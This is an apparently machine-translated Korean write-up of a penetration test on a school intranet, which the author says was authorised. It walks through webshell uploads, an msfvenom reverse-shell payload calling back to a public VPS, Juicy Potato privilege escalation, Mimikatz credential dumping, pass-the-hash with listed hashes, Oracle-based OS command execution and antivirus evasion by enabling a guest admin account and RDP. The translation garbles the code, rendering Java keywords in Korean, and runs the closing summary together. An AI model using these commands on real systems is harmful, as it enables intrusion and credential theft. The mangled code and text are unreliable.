제목 : 학교 인트라넷에 대한 침투 테스트

0x00 初探内网​

정보 센터 교사에게 신청하여 학교가 인트라넷 침투 시험을 수행 할 수있는 권한을 부여한 후 학교 인트라넷에서 사용 시스템에 대한 정보를 수집하기 시작했습니다. 그들 대부분은 노출되지 않은 새 버전의 프레임 워크 구성 요소를 사용하여 초기 청지기 프로세스를 교착 상태에 넣습니다. 그러나 학교가 열린 다양한 웹 시스템을 다시 방문한 후 놀라운 시스템을 찾았습니다.
1049983-20220119230524040-2137113811.png

학교는 많은 새로운 시스템을 사용했지만 이전 시스템을 끄지 않았습니다. 검색 후이 이전 시스템의 파일을 업로드하는 데 취약한 것으로 확인되었습니다.
1049983-20220119230524706-1372032726.png

필터링이 없으면 단지 거래 일 뿐이라고 말할 수 있습니다.
1049983-20220119230525271-768935209.png

또한 트로이 목마의 길을 반환합니다. 그러나 나는 매우 이상한 현상을 만났습니다. Ant Sword와 Kitchen Knife와 연결 한 후 리턴 경로가 다르고 파일도 다릅니다.
1049983-20220119230525818-1052745570.png

그중에서도 Ang Sword로 연결된 쉘은 파일을 업로드 할 수 없지만 주방 나이프로 연결된 쉘은 할 수 있습니다. 그리고 웹 쉘은 명령을 실행 한 후 IP를 차단할 것이며 WAF가있는 것으로 의심됩니다. 그래서 먼저 MSF ASPX Trojan을 통과하여 MeterPreter 세션을받습니다. Windows-Gexploit-Suggest를 사용하여 배치되지 않은 패치를 감지하십시오.
1049983-20220119230526469-167265034.png

MS16-075의 매우 유용한 취약점이 있음을 알았습니다. 나는 MSF의 Juicy_potato 모듈과 직접 협력하여 공격합니다. CLSID를 수정하십시오. 여기에서 찾을 수 있습니다.
페이로드에 대한 bind_tcp의 전진 연결을 선택하는 것이 가장 좋습니다. 그렇지 않으면 쉘을 다시 팝업하지 않을 수 있습니다.
1049983-20220119230527015-1415985841.png

이런 식으로 시스템 권한이 얻어집니다. 다음 단계는 기계에서 정보를 수집하고 수평 침투에 도움이되는 정보를 얻는 것입니다. 이상한 점은이 기계에 원래 도메인이 있었지만 이제는 사라졌고 도메인 제어를 찾을 수 없다는 것입니다. 따라서 우리의 초점은 암호 충돌 라이브러리에 중점을 둡니다. 비밀번호를 얻으려면 MSF와 함께 제공되는 Mimikatz 모듈을 사용하십시오.
1049983-20220119230527769-1549308573.png

나는 2 ~ 3 개의 기계에 부딪 쳤고, 그 중 일부는 포트 445를 가지고 있었지만 포트 3389는 없었습니다.
이런 식으로 MS-17010을 사용해 볼 수 있지만 사용중인 일부 시스템에 영향을 줄 수 있다는 점을 고려할 때 더 안전한 PSEXEC 모듈을 사용하여 라이브러리를 충돌시키기로 결정했습니다. 즉, 해시 배달입니다. 때로는 일반 텍스트로 얻을 수없는 비밀번호가 발생할 때 비밀번호의 해시 값을 덤핑 한 다음 Psexec 모듈에 해시 전달을 사용하여 공격을 수행 할 수 있습니다. 우리가 얻는 것은 시스템 권한뿐입니다.
후속 단계는 지루하여 비밀번호를 수집하기 위해 지속적으로 라이브러리에 부딪친 다음 수집 된 암호를 통해 라이브러리에 부딪히는 것이 었습니다. 충분한 기계와 암호를 얻은 후에는 테두리 라우터가 발견되었지만 이전에 수집 한 암호를 성공적으로 기록 할 수 없었기 때문에 포기해야했습니다. 이 네트워크 세그먼트가 끝납니다.

0x01 深入探索

새 시스템을 검색 한 후 기능 중 하나에서 파일 다운로드 취약점을 찾았습니다.
1049983-20220119230528298-1074002551.png

그리고 그것은 루트 사용자가 시작한 서비스입니다. 이상적인 상황은 /etc /섀도우 파일을 읽고 루트 사용자 비밀번호를 폭발시키는 것입니다. (실패), 그런 다음 루트 사용자의 작동 기록을 얻으려면 /root/.bash_history를 읽으십시오. Tomcat 배포 및 백업 소스 코드 파일의 경로를 기록합니다. 정보를 수집하기 위해 소스 코드를 다운로드하여 매우 중요한 정보를 수집했습니다. 이 네트워크 세그먼트의 대부분의 시스템은 Oracle 데이터베이스를 사용하고 SID를 수정하지 않았습니다. 아직 시도해 볼 몇 가지 암호가 있습니다.
약간의 폭발 후, Oracle 데이터베이스 시스템의 사용자 비밀번호는 수정되지 않았으며 관리자였습니다. 모든 사람은 Oracle 데이터베이스가 시스템 명령을 실행할 수 있고 시스템 사용자는 시스템 명령 실행 조건을 완전히 충족하도록 지정해야합니다. 지루한 단계를 제거하고 명령을 직접 실행할 수있는 온라인 도구를 찾았습니다.
1049983-20220119230528710-146235030.png

0x03 绕过火绒行为检测

그러나 또 다른 이상한 문제가 발생했습니다. 몇 가지 명령 만 실행할 수있었습니다. 시스템 사용자이지만 Net 사용자와 같은 명령을 사용하면 Echo가 없습니다. 나중에 Turfur는 비정상적인 행동을 가로 채었다. 그런 다음 Navicat에서 sqlplus를 사용하여 서버에 직접 연결하려고했습니다. 온라인 단계에 따르면 서버에서 반환 한 1 또는 0에 따라 명령이 실행되는지 여부를 결정할 수 있습니다.
'Oscommand'라는 Java 소스를 작성하거나 교체하고 컴파일하십시오.
-Java: OS 명령
java.io.*;
java.lang.*;
공개 클래스 오스 커맨드 {
공개 정적 문자열 실행 (문자열 명령) {
런타임 rt=runtime.getRuntime ();
int rc=-1;
노력하다{
프로세스 p=rt.exec (명령);
int bufsize=32000;
int len=0;
바이트 버퍼 []=새로운 바이트 [bufsize];
문자열 s=null;
bufferedInputStream bis=new bufferedInputStream (p.getInputStream (), bufsize);
len=bis.read (버퍼, 0, bufsize);
rc=p.waitfor ();
if (len!=-1) {
s=새 문자열 (버퍼, 0, Len);
반환 (들);
}
return (rc+'');
}
캐치 (예외 e) {
e.printstacktrace ();
return ( '-1 \ ncommand [' + command + '] \ n' + e.getMessage ());
}
}
}
/
오류가 표시됩니다
함수 OSEXEC (Command in String) return varchar2는
- function: OS Exec
-Java Oscommand 저장 Proc의 Descr: PL/SQL 래퍼
-
언어 자바
이름 'Oscommand.run (java.lang.string) return java.lang.string';
/
오류가 표시됩니다
- sysdba. Scott를 Osexec을 소유 한 해당 스키마로 대체
- 그리고 Oscommand 저장 Procs.
선언하다
스키마 varchar2 (30) :='Scott';
시작하다
dbms_java.grant_permission (
개요,
'sys:java.io.filepermission',
'모든 파일',
'실행하다'
);
dbms_java.grant_permission (
개요,
'sys:java.lang.runtimepermission',
'WriteFileDescriptor',
'*'
);
dbms_java.grant_permission (
개요,
'sys:java.lang.runtimepermission',
'readfiledescriptor',
'*'
);
저지르다;
끝;
/
- 로컬 연결 정보를 봅니다
SQL Osexec ( 'ipconfig')을 듀얼에서 stdout으로 선택하십시오.
stdout
-----------------------------------------------------------------------------------------
Windows IP ?
??엘? 3:
엘? DNS ? . .
?티? IPv6 ? . ************
IPv4 ? 192.168.100.100
?? 255.255.255.0
? 0.0.0.0
-게스트 계정을 활성화하십시오
SQL SELECT OSEXEC ( 'CMD.EXE /C NET USER GUEST /ACTIVE3360YES'))는 듀얼에서 STDOUT으로;
stdout
-----------------------------------------------------------------------------------------
0 항 바이러스 소프트웨어가 오라클 동작을 모니터링하기 때문에 중단되지 않은 동작을 결합하여 공격해야합니다.
내가 기대하지 않은 것은 내가 포트 3389를 열기 위해 명령 줄을 직접 실행했을 때, Turfur는 그것을 가로 채지 않았다는 것입니다. 그러나 순 사용자 및 기타 명령을 실행하면 실행할 수 없습니다. 현재 나는 갑자기 손님 사용자를 기억했다. 게스트 사용자를 활성화하고 관리자 그룹에 합류했습니다. 이번에는 막히지 않았습니다. 원격 데스크탑에 직접 연결 한 후 기계에서 Mimikatz를 사용하거나 CS에 쉘을 리바운드하면 실패합니다.
또한 사용자 추가 및 기타 민감한 작업과 같은 게스트 사용자에 대한 일부 권한이 비활성화되었습니다. 그러나 Net 사용자를 실행할 때 이전 컴퓨터에서 본 사용자를 찾았 으며이 사용자의 비밀번호가 있습니다. 따라서 sqlplus를 사용 하여이 사용자를 관리자 그룹에 추가하십시오.
따라서 Turfur 차단의 행동 규칙은 사용자를 추가 할 수 없지만 기존 사용자를 관리자 그룹에 추가 할 수 있으며 게스트 사용자를 활성화하여 3389를 열 수 있습니다.이 컴퓨터에 다시 로그인 한 후에도 여전히 쉘을 반등 시키거나 다시 비밀번호를 읽을 수 없었습니다. 이 시점에서 내 주니어는 청록색을 직접 켜고 보호를 끄면 껍질을 리바운드 할 수 있다고 말했습니다. 나?
그런 다음 한 번의 작업 후에 쉘을 얻었지만 여전히 일반 텍스트 비밀번호를 읽을 수 없었습니다. 방금 해시를 버린 다음 폭파하는 것에 대해 생각했습니다. 하지만 NTLM을 해결할 수있는 외국 온라인 웹 사이트가 있다는 것을 기억합니다.
1049983-20220119230529112-1621662799.png

비밀번호를 얻은 후에는 정보를 수집 한 다음 라이브러리를 충돌시킬 수있는 친숙한 라이브러리입니다.
그런 다음 XFTP가 서버에서 여러 서버의 비밀번호를 저장 한 것을 발견했습니다. 현재, 나는 냉소적 인 작업을 발견했습니다. 별표 비밀번호 뷰어 도구를 사용하여 여기에서 저장된 비밀번호를 볼 수 있습니다.
1049983-20220119230529622-76334754.png

나는 또한 몇 가지 루트가 인증 된 기계를 언급하고 싶습니다. 나중에 시험을하고 싶지 않았습니다. 수집 된 모든 비밀번호를 녹음 한 다음 전체 네트워크 세그먼트에서 기계를 눌러 많은 약한 비밀번호가 발생했습니다.
1049983-20220119230530089-811474567.png

초과 근무를 한 정보 센터 교사에게 축하를 전합니다.

0x04 总结​

1. 대상의 이전 시스템의 첨부 파일 업로드 위치에서 문장 트로이 목마를 직접 업로드하고 업로드 된 경로로 돌아갈 수 있습니다. 2. Ang Sword를 통해 문장 트로이 목마를 연결 한 후에는 파일을 업로드 할 수 없습니다. 주방 나이프를 통해 문장을 연결하는 동안 파일을 업로드 할 수 있습니다. 3. 공개 네트워크에서 MSF를 통해 ASPX 백도어를 생성하고 생성 된 Shell.aspx를 말레이시아를 통해 대상 사이트에 업로드하고 Shell.aspx에 액세스하십시오. msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=public vps lport=12345 -f aspx shell.aspx4. MSF를 듣고 리바운드 Shellmsf 사용 Exploit/Multi/Handlermsf Exploit (Handler) Set Payload Wind 부엌 나이프의 명령 터미널을 통해 SystemInfo를 실행하여 패치 정보 출력 정보를 실행하고 로컬로 다운로드하고 Windows-Exploit-Suggester를 사용하여 사용 가능한 에스컬레이션 POC를 사용하여 다음과 같이 찾을 수 있습니다. https://github.com/1nf1n17yk1ng/windows-exploit-suggester-python3systeminfo info.txtpython3 Wind MSF (https://github.com/secwiki/windows-kernel-exploits/tree/mas C: \ Users \ PublicmeterPreter CD C: \ Users \ PublicmeterPreter 사용 IncognicerPreter List_Tokens -UmeterPreter Execute -ch -f ./potato.exemeterpreter list_tokens-UmeterPreter GetUiidserver username3360 NT Authority7. MSF를 통해 Mimikatz를로드하여 일반 텍스트 및 해시 값 미터 프리터로드 MimikatzMeterPreter Mimikatz_Command -f Samdump33333:HasmeterPreter Mimikatz_Command -f Sekurlsa:33:SearchPasswordsWordsMeterTet hash hash hash #get hash #get hash #get hash #get hase. 8. PTH PASS 용 배치 해시 값 충돌 라이브러리
MeterPreter Upload/Root/CrackMapexec C: \ Users \ PublicmeterPreter CrackMapeXec 192.168.1.0/24 -U 관리자 -H CCEF208C6485269C20DB2CAD21734FE7 또는 METERPRERTER BANU wind E52CAC67419A9A9A224A3B108F3FA6CB6D:846F7EEEE8FB117AD06BDD830B7586CMSF 실행 또는 MSF 사용 보조/SMB/PSEXEC_COMMANDMS ET RHOSTS 10.206.14.1/24msppast AAD3B435B51404EEAAD3B435B51404EE:579110C49145015C47ECD267657D3174 (참고 : LM HASH는 32 비트 문자가 될 수 있음) MSF Run4. 대상의 새 시스템에서 파일 다운로드를 찾았습니다. 파일 다운로드 취약점이있을 수 있습니다. 여기서 BP의 침입자 기능을 통해 퍼지를 배치 할 수 있습니다. 여기에서/etc/passwd 등을 읽을 수 있습니다. 먼저 해시 값을 읽고 MD5를 통해 크랙하십시오. 5. 그런 다음 모든 파일을 통해 다운로드하고, /root/.bash_histoy를 읽고, 압축을 위해 웹 사이트 디렉토리의 관리자의 작동을보기. 압축 패키지 이름과 웹 사이트에 저장된 루트 디렉토리가 다운로드되고 소스 코드는 직접 다운로드 및 백업됩니다. 6. Oracle Database 구성 파일은 소스 코드에서 발견되었으며 사용자 이름 시스템과 암호가 유출되었으며 IP 주소는 121.1.100.100이 유출되었습니다. 기본 SID 값 : ORCL을 사용하면 연결할 수 있습니다. 여기에서는 Oracleshell을 사용하여 원격으로 연결합니다. 7. Net 사용자 이름을 추가하라는 명령은 Oracleshell을 통해 가로 채고 작업 목록/SVC가 실행되고 대상 데이터베이스에는 Tinder가있는 것으로 나타났습니다. 그러나 Gust 계정을 활성화하고 관리자 그룹 Turf에 Gust를 추가함으로써이를 가로 채지 않습니다. 그런 다음 3389를 켜고 인터셉트되지 않음 Net User Guest /Active:yesnet 사용자 게스트 테스트@123Net LocalGroup 관리자 게스트 /addreg 추가 HKLM \ System \ CurrentControlset \ Control \ Terminal ''서버 /v FDENYTSCONNECTION /T Reg_DWORD /D 0 /FIVICAT에 SQLPLUS를 사용하여 STQL SELEC에 연결하십시오. Osexec ( 'ipconfig')는 듀얼에서 stdout;
 
뒤로
상단